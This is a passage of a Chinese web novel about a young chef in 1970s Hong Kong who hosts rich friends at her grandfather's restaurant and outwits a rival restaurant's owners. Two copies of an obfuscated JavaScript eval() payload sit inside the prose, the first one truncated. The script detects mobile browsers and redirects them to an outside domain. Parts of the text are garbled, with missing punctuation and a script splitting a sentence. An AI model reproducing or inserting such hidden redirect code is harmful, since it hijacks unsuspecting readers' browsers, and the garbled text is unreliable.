有人罩着 红色跃马的副驾驶位上走下来一位红衣美人，同样是大波浪卷发、大红唇，显得十分娇媚性感，还带着几分清纯。 这位便是被誉为全港男人梦中女神的吕明明。 驾驶座上下来的，是让全港男人都心生嫉妒的娱乐大亨蔡家公子蔡致远。港城大半明星都签约在蔡家旗下的影视公司，这位公子的女朋友，个个都是绝色佳人。 蔡致远下车后，把手搭在了吕明明的腰上。 而从林宝坚尼上下来的男人，是能让整条街的师奶们尖叫的当红炸子鸡刘家耀。与他同车的，是入选法国时装周的品牌设计师、面料服装大王赵家的三小姐赵熙如。 在另外一辆车上，身着黑色连衣裙的是以飒爽形象出现在荧幕上的女打星周明灵，以及乔家的大公子乔君慎。 乔君贤和崔慧仪站在一起，陪着客人往里走。 港城的公子小姐们偶尔也会光顾他们这儿，不过这么多公子小姐一同出动，这种景象难道不应该出现在乡村俱乐部和**吗？ 原本在清仓甩卖的大叔看到这一幕，也停下了叫卖，看着四位风格迥异的大美人走过。 师奶们不知道该把目光聚焦在她们的偶像身上，还是该看向这些出身富贵的公子们。 斗鸡辉被发现后，顶着肿着脸去找高佬成。斗鸡辉把岳宁说的那番话告诉了高佬成，起初他们还不太明白，可看到蔡家这位公子后，瞬间就全懂了。 金融和娱乐大亨蔡家是什么背景，谁不清楚？澳城那个叠码仔在他们眼里，就如同一只随时能被踩死的蟑螂，而他们俩恐怕连蟑螂都不如。 那个女人是发了什么疯，居然让他们去招惹这些人？真想让他们去喂鱼吗？ 斗鸡辉远远地望着刚才让他动弹不得的岳宁，她正站在门口迎接客人。 岳宁看着迎面走来的人，谁是演艺圈的，谁是商场上的，她一眼便能分辨出来。慧仪姐的好友赵熙如，虽不像两位大明星那样让人一眼惊艳，但也是个气质美人。 几位陌生男士中，刘家耀太有明星范儿了，岳宁一眼就猜出了他的身份。 乔家两兄弟和蔡致远是表兄弟，岳宁只认识乔君贤，另外两位长相有些相似，而且年龄相近，岳宁一时无法分辨出哪个是乔君慎，哪个是蔡致远。 管他呢！蔡致远在电话里就让她叫哥哥了，乔君慎是大妈妈的外甥，那也算是自己的哥哥，都叫哥 哥总归不会错吧！ 岳宁迎了上去，其中一位男士笑着说：“宁宁，猜猜看，我是你致远哥哥呢，还是你君慎哥哥？ 通过电话里的声音和语气，岳宁心中有数了，她说：“那不用猜了，活泼可亲的一定是致远哥哥。 蔡致远露出一口大白牙：“宁宁真了解我。 崔慧仪白了蔡致远一眼：“宁宁，你就直说，骚包的那个是蔡致远不就行了？ 另外一位男士微笑着说：“蔡致远，你不说话，宁宁还猜不出来，一开口就露馅了。 “君慎哥哥好。岳宁打招呼道。 “好。 岳宁又跟其他人一一打招呼。围观的人见状，纷纷问道：“华叔的孙女怎么跟乔家和蔡家的少爷这么亲近？ 蔡致远听到了，说道：“想知道？锁定今晚的《港城展望》。 《港城展望》是HTV的一档聚焦港城经济社会发展、邀请港城名人出席的访谈类节目。岳宁，一个来自内地的牧羊女，一个厨子的孙女，和这档节目能有什么关系？ 原本只有一个疑问，现在变成两个疑问了。 乔君慎受不了蔡致远时时刻刻替他们家电视台打广告，亨通的电视台，还用得着他打广告吗？ 乔君慎说道：“走了，进去吧。 众人都进去后，熟悉的街坊偷偷去问花姐，花姐也是一脸茫然，她哪儿知道呢？ 岳宁领着大家上二楼包房，桌上已经摆好了七个凉菜。乔君贤看了一圈，低头问岳宁：“群英荟萃呢？ 岳宁把一个白瓷方盘转到他面前，一个个做成蛋挞形状的脆壳里，放着五彩细丝，细丝上头还点缀着鱼子酱。 岳宁问道：“萝卜开会在这儿，卖你一百八，一点都不贵吧？ 蔡致远则盯着拼盘里的一只大公鸡造型，问道：“这是卤水拼盘？ “对！岳宁回答。 这时，侍应生端来一个凉菜，冰沙铺底，胡萝卜雕成断桥，黄瓜刻成小舟，曲折的黄瓜丝摆成波纹，边上插着一根小树枝，树枝上用粉色面粉捏出梅花，洒了糖霜当作细雪，主角是一个冻成碗状的冰块，冰碗里是凉拌海肠鸟贝。 岳宁把菜端上桌：“断桥残雪。 蔡致远看着这几盘凉菜，说道：“要不你现在就开一家卖一百八一盘萝卜开会的餐厅吧？我们全都入股。 “对，我们入股。崔慧仪生怕落后。 “哥！就我一个人会做，一天就出一桌菜，卖一百八也回不了本啊！等我把人培训起来再说。岳宁请他们坐下，“哥哥姐姐们，你们开席，我去炒菜了。 崔慧仪捏了捏她的脸：“去吧！ 岳宁下楼走出包房，楼下三桌是宝华楼自己人的餐桌，两桌已经坐了人，还有一桌是留给他们这几个厨子和端菜侍应生的。 这里的摆盘很普通，但盘子里的菜量很足。 花姐拉着岳宁：“宁宁，我们也想吃漂亮的菜。 “这得大家配合呀！她把手搭在一个打荷小伙的肩上，“等他们学会了这样摆盘，才能都这么做。不然我切墩、打荷、烧菜全得一个人来，不得累死？ “阿忠，听见了吧？宁宁会教你们。花姐说道。 “我学，我学。阿松的徒弟阿忠刚才看得眼睛都直了。 岳宁爽快地说：“愿意学的，我一定尽力教。 她跟大家说：“今天，大家吃好喝好，宝华楼已经从被对面拖后腿的泥潭里走出来了，明天之后就是新的征程。 “没有人再担心宝华楼会关门了吧？花姐问道。 阿忠说：“我现在关心胜华楼什么时候关？ 岳宁见烧腊拼盘端了出来，说道：“跟你们说了，对面那家根本不配做我们的对手。有这闲工夫操心这个，不如多吃两块烧鸭，然后告诉我哪里需要改进。 “这个鸭皮怎么这么脆？ “好脆哦！ “很酥很香。阿忠说，“不需要改，我想学。 “那你今天吃好喝好，明天开始好好学，手艺是不会辜负手艺人的。岳宁笑着转身，回到厨房继续烧菜。 晚上六点左右，港城正值晚高峰。 今天中午宝华楼老板岳宝华的孙女回来所闹出的事，到这时已经上了电台新闻：“岳宝华牧羊女孙女抵港，怒赏乳牛丽五蚊。 电台主持人先是说起岳宁扛着丁胜强转圈圈，调侃她在西北的时候，应该是扛着羊练芭蕾舞。还说她以后找了男友，是不是得抱着男友进房间。 紧接着，主持人以他一贯的低俗风格，八卦起张丽丽当年在欢场的称号“乳牛丽，调侃岳宁这个内地牧羊女不懂行情，这可能是乳牛丽这辈子收到的最低一笔消费。 伴随着下班的车流，这条新闻让上了一整天班的男男女女提起了些许兴趣。就算只有很少一部分人想 来一探究竟也足以让这条本就不宽的街道骤然拥挤起来。更何况街道外还停着几辆车型和车牌都极具辨识度的车子。 宝华楼大门敞开但贴着“暂停营业”的海报标牌也挂着。大堂里两桌人正在推杯换盏仰头望去楼上一间包房亮着灯光据说里面是街口外那些车子的主人和几位当红影视红星。 上一波如此汹涌的人潮还是在丁胜强推倒岳宝华、岳宝华进医院的时候。 那一次全港的报纸、电视和电台都在骂丁胜强没良心可骂了又怎样胜华楼还不是赚得盆满钵满。 今天又是这么多客流而且电台里提到了“乳牛丽”比起真金白银这种调侃又算得了什么？人嘛为了挣钱不丢人。 张丽丽索性换了一件更加性感的连衣裙站在大门口招呼客人。 看着客人往他们酒楼走张丽丽笑得合不拢嘴。 这时一高一矮两个人也随着客流往胜华楼走去。张丽丽看到两人以为他们是来告诉她那个丫头今天的客人是谁。这些人他们确实得罪不起。 她走过去说：“那就算了你们先回去明天我再跟你们说。” “呸！臭婆娘！”斗鸡辉抬手就是一巴掌。 两人亲眼看到宝华楼的那个丫头叫乔家和蔡家的少爷“哥哥”他们这才明白为什么那个丫头今天刚到港就已经知道他们是谁了。 就凭诬陷宝华楼、打了朱友松这些事都能让他们上阎王的生死簿张丽丽还让他们去打那个丫头的客人她是嫌黑白无常来得不够快吗？ 张丽丽毫无防备她穿着恨天高脚一扭摔倒在地上。还没等她反应过来高佬成又把她拎了起来再打了一巴掌：“臭八婆上次让我们往宝华楼菜里放胶布让我们把事情闹大让我们打宝华楼的朱友松。老子全给你干了**的钱都不给。” “给钱啊！”斗鸡辉一脚踹过去他的脸到现在还疼得厉害。 即便张丽丽疼得尖叫也没人敢上前帮忙。两人一个手臂上纹着青龙一个纹着白虎一看就是道上混的谁敢招惹这种人？ 张丽丽蜷缩着高佬成一把揪住她的头发 “八婆给你去宝华楼放了胶布给你打了人你还赖账。”斗鸡辉一口唾沫吐在张丽丽的 头上。 这时，追明星的狗仔、跑社会新闻的记者早就闻风而来。刚才他们把镜头对准了宝华楼，现在镜头全都转向了这里。 毕竟港城就这么大，哪个街区两个大婶吵架都有可能被当作新闻登上电视。 那个丫头不出来看，斗鸡辉和高佬成心里害怕。见这么多记者在场，斗鸡辉想着索性上电视，好歹能留下证据。他在镜头前指着张丽丽说：“你给不给钱？” 这个时候，张丽丽根本没时间思考，再说以她那脑子，思考了也未必能想出什么对策。她疼得眼泪鼻涕直流：“我给了啊！我全都给了。我先给了两千定金，后来又给了三千。你们别耍赖！” 本来岳宝华指责胜华楼诬陷宝华楼菜里有胶布，大家其实早就相信了，只是没有切实证据。现在张丽丽亲口承认，这下证据确凿了。 “臭八婆。”高佬成还没解气，又甩手打了张丽丽一个耳光，跟斗鸡辉说：“走。” 两人就这么大摇大摆地走了，张丽丽被打得浑身疼痛，强撑着站起来。 胜华楼的人见那两个混混终于走了，赶忙过来扶张丽丽。 张丽丽被打得莫名其妙，脸上身上疼得直掉眼泪，还没站稳，嘴边就被递上了话筒：“你刚才亲口承认，花了五千块，找人诬陷宝华楼、打宝华楼的人？” 张丽丽这才意识到自己说的话闯了大祸，她强撑着转身回去。 张丽丽一瘸一拐地被扶了进去。 张丽丽甚至没来得及整理一下，就进了办公室给男人打电话。接电话的是男人的老婆，那个女人说：“原本你花他几个钱，让他给你开一家酒楼，我也不多说什么。可现在你再这么闹下去，是想让他以后在道上都混不下去吗？以后你别再找他了。那些钱给你就给你了！” 电话被挂断了，张丽丽继续拨电话。她就不信男人就这么不管她了，连拨了几个电话，终于男人接了电话。男人甚至没听她说什么，就在电话那头大吼：“你能不能别给我惹麻烦？你知道岳宝华的孙女是谁罩着的吗？” 她呆愣在那里：“谁？” “看HTV一台啊！” HTV一台？电话被挂了，她强撑着上三楼。三楼她改成了麻将室，平时会找一些牌友来打牌，里面有电视机。 她打开电视机，不用调到HTV一台，其他频道也在报道岳宝华孙女的背景。 这个主持人结合中午 岳宁的那一出，以及傍晚记者发回的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶家养女的丈夫，这些年下放到西北，和岳宝华的儿子孙女住在一起。岳宝华的儿子照顾了叶家的女婿，叶家的女婿也把岳宝华的孙女当成了女儿。 就乔启明的一句话，能扒出这么复杂的关系？谁信！这明显是乔家有意透露，蔡家的HTV放出消息，否则以蔡家的地位，他们不想让人知道的事，电视电台一个字都不会吐露。 张丽丽像泄了气的皮球一样坐了下来。别说是她了，她那个男人在乔家、蔡家这样的大家族眼里，也不过是一只蚂蚁罢了。 一直在厨房的丁胜强终于知道前头出了大事。他心想张丽丽再蠢也不至于赖那两个小 混混的钱吧？转念又一想她都能亲口承认诬陷宝华楼说不定还真会欠钱。 丁胜强急匆匆上楼去找张丽丽发现她不在办公室。后来听人说张丽丽在三楼的麻将室他便上楼去。只见张丽丽顶着一头乱发衣服被扯破鞋子也没穿呆愣地坐在沙发上看着电视。 电视里正在放广告他问道：“丽姐到底怎么回事？” 张丽丽抬头看他：“阿强我们惹了不该惹的人我们完了。” “怎么了？” 张丽丽身体颤抖着说：“那个丫头……那个丫头……” 她吓得浑身颤抖顿时放声大哭起来。 不知道前因后果的丁胜强急坏了。幸亏这条八卦够劲爆电视台又特别喜欢炒冷饭新闻又开始重播了。 丁胜强看着电视里报道的背景这种巧合也太巧了吧？ 他坐在沙发上仔细思索以他对岳宝华的了解岳宝华确实有很多朋友但他不愿麻烦别人而且也不会用那种手段。 乔家、蔡家放出这样的消息明显是给那个臭丫头撑腰。 “丽姐现在坤哥那边也靠不上了。胜华楼你还想不想开下去了？”丁胜强现在已经上了这条船总不能眼睁睁看着胜华楼倒闭他还要养活一大家子呢！ 张丽丽抬头问道：“那怎么办？” “你把所有事都认下来就说都是你做的以后别再出现在胜华楼。” 张丽丽立刻反应过来在欢场摸爬滚打这么多年她什么都可以不要就是不能没钱。 她咬牙问道：“你想干什么？胜华楼是我投的钱。”” “确实你占着大股我不会觊觎你的股份。等你把这些事都承担下来 “我全揽下来可我怎么知道他们不会对付我？”张丽丽问道。 “我的意思是你先避开这阵风头别在他们跟前露面。你可以去台湾或者泰国散散心避避风头。等咱们和他们相安无事了你再回港城。”丁胜强稍作思索又说“要是你还信不过我我让我老婆和两个孩 子陪你一起去旅行 男人对老婆或许不上心但孩子总归是自己的。张丽丽听他这么说便答应道：“行就听你的。” “你先去洗把脸我去对面宝华楼了。” “好。” 丁胜强从麻将室出来嘴角勾起一抹笑容。这女人蠢是蠢了些不过有时候蠢也有蠢的好处。危机危机危中往往也蕴含着机。张丽丽占着大股又如何？只要那个叠码仔不再管这个蠢女人她就算占大股自己也有的是办法把这家酒楼变成自己的。 此时的胜华楼闹哄哄、乱糟糟的。一方面客流量确实很大；另一方面老板娘被打后亲口承认诬陷宝华楼吸引了众多看热闹的人。 胜华楼的伙计看到丁胜强下楼赶忙上前说道：“强哥后厨现在菜都不够用了……” 丁胜强摆了摆手：“去找楼家富想办法。” 他走出胜华楼此时天已经黑了外面人声嘈杂许多人站在宝华楼外仰望着二楼那间亮着灯的包房。 宝华楼大门敞开着。这么长时间以来大家都是看在华叔的面子上才坚持留下来。回想起华叔从西北回来后整天念叨他孙女多么能干能接手宝华楼当时大家甚至受丁胜强影响还怀疑华叔是不是糊涂了。 可如今亲眼看到、亲口尝到岳宁做的菜大家又觉得华叔这内敛的性子得改改宁宁远比他形容的还要厉害得多。 岳宝华正在打电话他的大徒弟在澳城看到了电视报道打来电话询问。岳宝华笑着说：“阿荣你们明天早点回来我和宁宁做饭给阿霞和孩子们吃。” 众人正兴高采烈地吃喝着丁胜强突然出现在宝华楼门口直挺挺地在大门口跪了下来：“师傅……” 第42章 君子慎独 岳宁的菜基本上都完成了，剩下的便交给几位叔叔负责。她端着砂锅，让侍应生端了一盘刚煮好的泡面，亲自送到二楼，向哥哥姐姐们赔罪。 刚才岳宁上楼询问哥哥姐姐们吃得如何，蔡致远没好气地说：“你睁大眼睛好好看看，桌上还剩啥？盘子也能吃吗？” 慧仪姐姐也问道：“她给鲍鱼一人一只、澳龙一人一块也就算了，难道真就缺我们这一口饭？就算要摆盘好看，就不能找个大点儿的芋头做托底吗？” 岳宁做的东平鸡饭，是用香芋片在油里炸成脆片，每片上堆一小撮东平鸡饭，嘴大的一口就能吃完，嘴小的最多两口。每道菜都这样，刚尝个味儿就没了。 蔡致远吐槽道：“这就好比，君贤好不容易做个春梦，正梦到和梦中女神上床呢，结果被人敲门打断……” 乔君贤瞪了他表哥一眼，手按在蔡致远肩上说：“你自己做春梦就罢了，提**什么？” 蔡致远一把拉开乔君贤的手，说道：“我们其他人都有女朋友，就你没有，长期欲望得不到排解，才会做春梦。” 崔慧仪在一旁劝道：“好了好了！让宁宁多上点儿菜，让君贤一口气把这‘春梦’做完。” 乔君贤涨红了脸，不再说话，他知道这会儿越辩解，他们就越会调侃。 岳宁向大家赔罪：“我本以为哥哥姐姐们都是大家公子、小姐，都是斯文人。《红楼梦》里贾宝玉去妙玉那儿喝茶，有这么一段，‘一杯为品，二杯即是解渴的蠢物，三杯便是饮牛饮骡了’。我哪晓得哥哥姐姐们都是《水浒传》里大口喝酒、大块吃肉的梁山好汉呀？下一道菜一定让大家吃饱。” 于是就有了这么一个大砂锅，外加一大盘煮好的圆仔面。蔡致远拿起公筷挑起面条，看向崔慧仪：“慧仪，你来瞧瞧，这是不是你家的圆仔面？” 自家的面条，崔慧仪就是烧成灰也认得，她重重地点了点头。 得到确认后，蔡致远放下筷子，咬牙道：“宁宁，你这是打算让我们拿速食面管饱啊？” 岳宁拿了一个干净的碗，从蔡致远手里接过公筷，挑起一筷面团放在碗里。接着，她伸手揭开砂锅锅盖，瞬间，肆意嚣张的香气弥漫开来，砂锅里趴着一只已经斩件的鸡。鸡皮红亮，鸡肉白嫩中透着鸡油的黄色，砂锅的余温加热着汁水，为原本就充斥满房间的香气又添了几分浓烈。 每个人 的鼻腔都被这股浓郁的鲜香钻了进去，让还没完全解馋的众人，口水泛滥。岳宁夹了一块鸡放在面上，鸡下面是半浸泡在汁水中的猪蹄，她问蔡致远：“猪蹄吃吧？ “吃吃。蔡致远应道，心里想着，这时候说不吃，那不成猪头了嘛。 岳宁夹起一块炖得颤颤巍巍的猪蹄，码在面上，再拿勺子舀了一勺汁水，淋在鸡块和猪蹄上。 她把这个碗放在蔡致远面前：“岭南豉油鸡捞面，慢用！ 随后又问大家：“哥哥姐姐们是自己动手，还是让我来服务？ “自己来，自己来！崔慧仪早已迫不及待，她知道这是宁宁在展示她家圆仔面的美味。 侍应生给每个人换了碗，大家照着岳宁的示范，以圆仔面打底，把鸡和猪蹄码在面上，再浇上汁水。 他们还在打面条、夹鸡块的时候，蔡致远已经吃完了那块鲜嫩弹牙、汁水丰润的鸡肉，这会儿正在吃那块软糯丰腴，用舌头就能把蹄筋勾下来的猪蹄。 蔡致远吐出骨头，快速拌面，用猪蹄和鸡肉炖出来的酱汁十分浓郁，裹在面条上，这圆仔面也变得美味无比，他没几下就把面扫进了嘴里。还是宁宁最疼他，先给他打饭，趁着砂锅里还有鸡和猪蹄，他决定再来一碗。 岳宁看着他吃第二碗，说道：“致远哥哥，吃速食面也吃得这么欢呀？ “我还能再来一碗。蔡致远抬起头说。赵熙如笑骂道：“你是猪啊！还吃？ “你少吃两口，这东西可容易发胖。蔡致远对赵熙如说。 “明天我多跳两小时操就行。赵熙如回道。 岳宁走到崔慧仪身后，手搭在她的肩膀上：“慧仪姐，咱们用这个味道，做港式烧腊风味系列捞面，你觉得咋样？ “妹妹啊！立德的新品研发，我全交给你了，好不好？崔慧仪说道。 他们正说着话，阿忠敲门进来：“宁宁，丁胜强跪在咱们门口，花姐让我来叫你。 岳宁赶忙跟着走，嘴里嘟囔着：“这大清都亡了这么多年，咋还动不动就下跪啊？ 楼下的人都顾不上吃饭了，纷纷跑到门口。花姐喊了一声：“宁宁来了。 这一声特别管用，宝华楼的人立马让出一条路，岳宁看到跪在地上抱住爷爷裤腿的丁胜强。 丁胜强仰头说道：“师傅，我不知道丽姐私下里做了那么多事。我一直以为，那是阿松管 理酒楼松懈所致，他在推卸责任。今天我才知道，真的是那个女人找人来陷害宝华楼。我十六岁就跟您学手艺，您就像我亲爸一样…… 花姐听不下去了，呸了一声说：“你咋有脸说这些话？这些日子你冷嘲热讽，还让华叔早点把宝华楼卖给你。现在不过是看宁宁在港城有靠山，害怕了，就摇着尾巴来求饶。华叔，你可别轻易放过他。 岳宝华被丁胜强背后捅刀，伤得血淋淋的。要不是宁宁聪明，手艺又好到让人惊叹，而且在西北还遇到了她的莫伯伯，要是她只是个普通小姑娘，只怕现在他们祖孙俩只能把宝华楼转让了。要他原谅丁胜强，除非太阳从西边出来，岳宝华恨声道：“滚！ “爷爷！岳宁一脸不赞同，“有话好好说嘛。 她走到丁胜强面前，伸出双手搀扶他，温言软语道：“强叔，你这是干啥呢？ 丁胜强疑惑地看着岳宁，肩膀上还未消退的肿痛让他不自觉地心颤。“我是来求你爷爷原谅的，我之前不知道…… 他刚开口，就被花姐打断：“谁信啊？ 岳宁见他站都站不稳，心里想着，真比不上西北的那些男人，起码被她打了，还能拔腿就跑。 她说道：“不管别人信不信，我相信你的诚意。 围观的人一片哗然，街坊兰姐忍不住出声：“你知不知道他干了什么事？你就信了。 岳宁转头对花姐说：“花婶婶，从他们在咱们宝华楼放胶布那天算起，把咱们这些日子以来以及未来十天的人工开销，房子虽说咱自己的，但铺面是有租金价值的，还有职员保险等所有支出都打包算个数。还有我爷爷和阿松叔去医院的费用，也都算清楚。 花姐眼睛一亮：“那咱们这么多日子的利润损失呢？ “谁要他的臭钱？岳宝华怒道。 “爷爷，古语说冤家宜解不宜结。更何况是一条街上的两家酒楼，没必要把事情做绝。岳宁想起一件事，“强叔，我爷爷给你还的赌债，你是不是还没还给我爷爷？ “还有他贪宝华楼的三万多菜钱。花姐补充道。 岳宁握住丁胜强的手，语重心长地说：“强叔，既然你是来道歉、求原谅的，前面说的这些，是胜华楼要担负的赔偿，我做主了，利润损失就算了。实际上家富叔带着学徒跑了，很多勤杂工也跑了，咱们十来天肯定还是恢复不到宝华楼以 前的供应量看在大家都在一条街的份上我就不计较了。” “这个……我不是大股东我做不了主。”丁胜强使劲想抽回手他的手被岳宁握得骨节都快缩小一圈了可这丫头手劲太大了。 岳宁恍然大悟：“对哦！你们的老板是丽姐。” 她转头对花姐说：“花婶婶你去跟服装店大叔借个大喇叭。” 不用花姐忙活听到这话的街坊拔腿就往服装店跑服装店老板颠颠地送来了大喇叭还教岳宁怎么用。大家都在好奇岳宁要这大喇叭干啥。 岳宁一手拿着喇叭一手牵着丁胜强半拖着他来到胜华楼门口。 这会儿都快九点了晚市高峰本已过了可今天人流太大他们被团团围住。 丁胜强甩手想挣脱岳宁手一用力丁胜强疼得叫起来岳宁转头说：“强叔乖哦！” 说完她拿着大喇叭对着胜华楼大门口喊道：“丽姐你出来我跟你面对面商量两家解决恩怨的办法。要是强叔骗你说我会依靠长辈的力量让你们在港城混不下去为了保住胜华楼让你担所有罪名让你以后少在胜华楼出现少刺激我爷爷。他还说我爷爷心善他来求我爷爷原谅这样就能保住胜华楼那你可就上当了。像强叔这样没信用的男人说的话就是骗人的鬼。还有那个包养你的男人一个能背叛老婆的男人要是靠得住母猪都能上树。我爷爷有三十年的口碑我又是个讲礼貌、讲文明、讲道德的好女孩。我的长辈们都是正经生意人又不是道上的怎么可能做违背道德、违反法律的事？” 岳宁很严肃地说：“我们祖孙郑重承诺只需要胜华楼负担合理赔偿宝华楼既往不咎。我们祖孙俩不屑于在对家菜里扔胶布不会带着孩子半夜在人家门口拉屎不会订完对家的包厢更不会弄死对家的风水金鱼 岳宁连忙解释：“没有没有我是顺着他们过去干的那些龌龊事往下说的。” 围观的人听到这话哄然大笑。 岳宁心里想着港城人的笑点都这么低吗？她继续拿起大喇叭：“你要是这时候真听话不参与胜华楼日常经营了很快强叔就会掏空胜华楼卷款跑了把债务留 给你。你辛辛苦苦从男人身上搞来的这点家当，可就全没了……” 丁胜强伸出另一只手，想打掉岳宁手里的大喇叭，岳宁索性用大喇叭对着他：“强叔，被我说中了吧？” 脸上带着青紫的张丽丽从胜华楼冲了出来，她冲向丁胜强，又抓又挠：“你个王八蛋，**的，原来你打的是这个主意。” “你那个野男人看见我有长辈爱护，有哥哥姐姐们疼惜，他肯定不愿再掺和这事儿了，巴不得离你这个麻烦精越远越好。我强叔呢？原本就是你野男人为了给你开酒楼，设计他，让他欠下赌债的。来胜华楼，你觉得给他股份，待他不薄。可他觉得胜华楼有今天全靠他，平时还得听你这个外行指挥他这个内行，早就不满了。强叔知道我爷爷是个本分人，别说违法的事儿，就是违反道德的事儿，他都不愿做。他就骗你说，我会依靠长辈做这做那，其实都是他在算计你的钱。”岳宁看着他们俩扭打，还在边上用喇叭分析着。 丁胜强刚开始还躲着张丽丽，可现在他的心思全被岳宁给扒了出来，也就不装了。他一个胖厨子，力气比张丽丽大得多，一把将张丽丽推倒在地，压在身下，掐着她的脖子：“臭婆娘，真以为我怕了你？要不是……” 眼见着局面一边倒，岳宁伸手扯着丁胜强：“你们胜华楼大股东和二股东之间的内部矛盾，能不能等会儿回去再闹，咱们先商量商量赔偿的事儿吧？” 丁胜强被岳宁拉住，张丽丽趁机伸出涂着红色指甲油的长指甲，往丁胜强脸上抓去，丁胜强脸上顿时冒出血珠。岳宁一松手，丁胜强又扑了上去，两人打得不可开交，对岳宁提出的赔偿之事完全不理不睬。 岳宁把大喇叭还给隔壁大叔，一脸不开心地走向岳宝华：“爷爷，看见了吧？强叔根本不是来道歉的，就是想骗丽姐别管胜华楼，好贪了胜华楼，您不过是他设计的局里的一环。您刚才还当真了，还动了真情。” 岳宝华这才发现，自己活了大半辈子，还不如十八岁的孙女。转念一想，今天这个局面是宁宁在内地的时候就开始设计的，自己可没这个本事。 “我们回去继续吃饭。”岳宁跟宝华楼的人说，又回头看了看扭打的两人，“强叔，要演戏，就不能等人家吃过饭再来吗？” 围观的师奶问她：“你怎么知道他不是真来道歉的？” 岳宁耸耸肩说：“是不 是诚心道歉，问一下赔不赔钱不就知道了？ “你这不是帮丽姐了吗？她可是陷害宝华楼的主谋啊？师奶又问。岳宁笑着回答：“因为我人美心善，看不得这么好的一对搭档分道扬镳。 师奶看着被拉开了还在互骂的两人，都不知道该把她这话正着听还是反着听了。 岳宁往里走，发现哥哥姐姐们也都下楼了，便问：“你们怎么下来了？ “我们吃好了，谢谢你的招待。乔君慎说。 蔡致远笑着说：“宁宁啊！要不你来电视台签约吧？你肯定能红得发紫。 刘家耀也说：“用不了两年，你就能成为喜剧女王。 岳宁瞬间变了脸色，像是快要哭出来：“哥哥们，你们是不是对我做的菜不满意啊？ “没有没有！我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915399|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是开个玩笑。蔡致远连忙说道。 崔慧仪过来抱了抱她：“宁宁，谢谢你！今天的饭是我吃过最好吃，也最用心的饭。 岳宁说：“等等我，我去换身衣服，送你们出去吧？ 乔君贤说：“不用了，你还忙着呢！“没有啦！在北京的时候，慧仪姐姐说一辆车好贵好贵的，我就想看看嘛！岳宁今天回来路上发现，路上的车子基本上都是上辈子常见的牌子，只是翻译名不同。乔君贤笑着说：“那行，我们等你！ 岳宁雀跃地跑进去，换下厨师服走了出来。 “哇哦！赵熙如发出一声惊叹，她刚才见岳宁穿着厨师服的时候，就觉得她气质很好。 现在，岳宁高挑的个头，一件无袖的提花真丝小衫，下摆随性地塞了一段进裤腰，裤子是深绿色的宽松真丝裤。简单的搭配，颜色却极具冲击感，太有味道了！ “走吧走吧！岳宁过去勾住崔慧仪的胳膊，一起往外走。 赵熙如过来问岳宁：“宁宁，慧仪说你要剪头发，什么时候来我那儿？ 岳宁想了想，转头问跟过来一起送客的岳宝华：“爷爷，明天下午没什么事儿吧？我去熙如姐姐那儿剪头发。 “没事。岳宝华回答。 崔慧仪说：“吃过饭我来接你？ “好呀！岳宁应道。 走到外头，岳宁看到一排车子，第一辆是白色的保时捷，第二辆是蓝色的阿斯顿马丁，第三辆是黄色的兰博基尼。 岳宁看到后面熟悉的标志，上辈子她奖赏自己的第一台跑车，就是一辆法拉利的 F12，当然这时离F12问世还有几十年，但依然让她倍感亲切，岳宁情不自禁地走了过去。 蔡致远见状十分高兴，他的车不是最贵的，却吸引了妹妹的目光。他掏出钥匙：“宁宁，哥带你去兜一圈。” 乔君贤从他手里拿走车钥匙，把自己的车钥匙换给蔡致远：“你还得送吕小姐呢！我开你的车，带宁宁去兜一圈。” 其实岳宁只是对上辈子的一点儿怀念，看一眼就满足了，坐不坐车无所谓，以后自己总归能买得起。不过乔君贤都已经从他表哥手里抢了钥匙，要是自己拒绝，乔君贤多没面子呀。哥哥姐姐们对她都很好，乔君贤却又有些特殊，他不远**陪着爷爷去西北找她，这些日子自己只负责出主意，都是乔君贤在联络实施，他还专程到粤城给她送资料，告诉她细节。 岳宁跟岳宝华说：“爷爷，我跟乔君贤去兜风哈！您和阿松叔他们吃晚饭，别等我了。” “对啊！你一直忙，还没吃饭呢。”乔君贤说。 岳宁开心地推着他：“走嘛！走嘛！” 乔君贤带着她上车，岳宁跟大家挥手：“哥哥姐姐，拜拜！” 他们几个笑着向她挥手。 乔君贤提醒道：“系上安全带。” 岳宁伸手去拉安全带，只见乔君贤向她演示如何系安全带，她便学着他的样子系好了安全带。 乔君贤开车出发，岳宁望着七十年代末的港城夜景，繁华尽收眼底。 车子驶入隧道，乔君贤问道：“宁宁，想不想去尝尝南洋菜？” “啊？” “我外婆家乡的菜，酸辣口味，跟你们西北的酸汤面疙瘩有点相似。”乔君贤介绍道，“比如肉骨茶、叻沙之类的。” “好啊！” 车子驶出过海隧道，来到港岛。乔君贤一路驾驶，此时的港岛对岳宁来说，有一种既陌生又熟悉的感觉。 乔君贤驾车拐弯，驶入鸿安大酒店。岳宁知道，这是他外祖家的产业。 乔君贤停好车，带着岳宁走进电梯，他说：“鸿安的南洋菜，是我妈妈嫁过来后，大舅舅专门在鸿安开设了南洋餐厅，好让她能吃到家乡的味道。” “你大舅舅可真疼你妈妈。” “是啊，他们兄弟姐妹几个感情很好。”乔君贤带着她走进南洋菜餐厅。 即便小公子到来，餐厅经理仍满怀歉意地表示，时间太晚了，只能提供几样简单的餐食。 乔君贤带着岳宁坐到窗边，从这里能够欣赏到维港的景色。 岳宁自觉对东南亚风味美食了解不多，况且可选择的菜品有限，便让乔君贤做主点餐。乔君贤点单道：“来一份叻沙，再要一份鸡肉沙爹、椰丝卷、参巴糯米糕，还有摩摩喳喳。” 点好单后，乔君贤问道：“我有个疑问。” 岳宁抬起头：“什么疑问？” “那个张丽丽真的没给两个混混钱吗？” “你凑近点儿，我跟你说。”岳宁笑着探过身去。 